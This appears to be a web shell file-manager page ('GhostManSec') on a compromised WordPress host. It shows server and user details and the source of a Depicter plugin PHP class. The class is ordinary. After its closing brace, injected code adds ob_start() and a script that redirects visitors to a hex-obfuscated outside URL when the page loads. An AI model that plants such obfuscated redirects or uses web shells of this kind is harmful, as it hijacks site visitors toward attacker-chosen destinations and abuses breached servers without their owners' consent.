GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/ve.anqa.it/wp-content/plugins/depicter/app/src/Rules/Condition/Base.php
<?php

namespace Depicter\Rules\Condition;

use Averta\Core\Utility\Str;

class Base {

	/**
	 * @var string
	 */
	public $id;

	/**
	 *
	 * @var string
	 */
	public $slug;

	/**
	 * Control type 'multiSelect', 'remoteMultiSelect', 'dropdown'
	 *
	 * @var string
	 */
	public $control;

	/**
	 * Selection mode of condition
	 *
	 * @var string
	 */
	public $selectionMode = 'include';

	/**
	 * Value of this condition
	 *
	 * @var array
	 */
	public $value = [];

	/**
	 * Tier of this condition
	 *
	 * @var string
	 */
	protected $tier = 'pro-user';

	/**
	 * Whether the condition is queryable or not
	 *
	 * @var bool
	 */
	protected $queryable = false;

	/**
	 * Default value
	 *
	 * @var array|string
	 */
	protected $defaultValue = ["all"];

	/**
	 * Group id that condition belongs to
	 *
	 * @var string
	 */
	protected $belongsTo = '';

	/**
	 * Post type
	 *
	 * @var string
	 */
	protected $postType = 'post';

	/**
	 * Maximum number of allowed options for the control
	 * Only useful for conditions having query option enabled
	 *
	 * @var int
	 */
	protected $maxOptionsNumber = 2000;


	/**
	 * Whether current condition is queryable or not
	 *
	 * @return bool
	 */
	public function queryable(){
		return $this->queryable;
	}

	/**
	 * Condition label
	 *
	 * @return string
	 */
	public function getLabel(){
		return '';
	}

	/**
	 * Condition description
	 *
	 * @return string|null
	 */
	public function getDescription(){
		return null;
	}

	/**
	 * Retrieves control options
	 *
	 * @return array
	 */
	public function getControlOptions(){
		$options = [
			'defaultValue' => $this->defaultValue
		];
		if( $this->queryable() ){
			$options['query'] = $this->slug;
		}

		return $options;
	}

	/**
	 * Retrieves properties which can be exposed
	 *
	 * @return array
	 */
	public function getProperties(){
		$properties = [
			'slug'    => $this->slug,
			'label'   => $this->getLabel(),
			'control' => $this->control,
			'tier'    => $this->tier,
			'controlOptions'  => $this->getControlOptions()
		];
		if( $this->getDescription() ){
			$properties['description'] = $this->getDescription();
		}

		return $properties;
	}

	/**
	 * Get query results for dynamic options of this condition
	 *
	 * @return array|null
	 */
	public function getQueryResults(){
		return null;
	}

	/**
	 * Check if the condition is qualified or not
	 *
	 * @param $value
	 *
	 * @return bool
	 */
	public function check( $value = null ){
		return false;
	}

	/**
	 * Compare two variables
	 *
	 * @param $var
	 * @param $operator
	 * @param $value
	 *
	 * @return bool
	 */
	public function compare( $var, $operator, $value ): bool{
		switch( $operator ) {
			case 'equal':
				return $var == $value;
			case 'greaterThan':
				return (float) $var > (float) $value;
			case 'lowerThan':
				return (float) $var < (float) $value;
			case 'greaterThanOrEqual':
				return (float) $var >= (float) $value;
			case 'lowerThanOrEqual':
				return (float) $var <= (float) $value;
			case 'containing':
				return false !== strpos( $var, $value );
			case 'notContaining':
				return false === strpos( $var, $value );
			case 'endsWith':
				return Str::ends( $var, $value );
			case 'beginsWith':
				return Str::starts( $var, $value );
			case 'regExpMatch':
				return (bool) preg_match( "/$value/", $var );
			case 'oneOf':
				$lines = explode( '\n', $value );
				return in_array( $var, $lines);
			case 'nonOf':
				$lines = explode( '\n', $value );
				return ! in_array( $var, $lines);
			default:
				return false;
		}
	}

	/**
	 * Check if condition is visible or not
	 *
	 * @return boolean
	 */
	public function isVisible() {
		return true;
	}
}
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>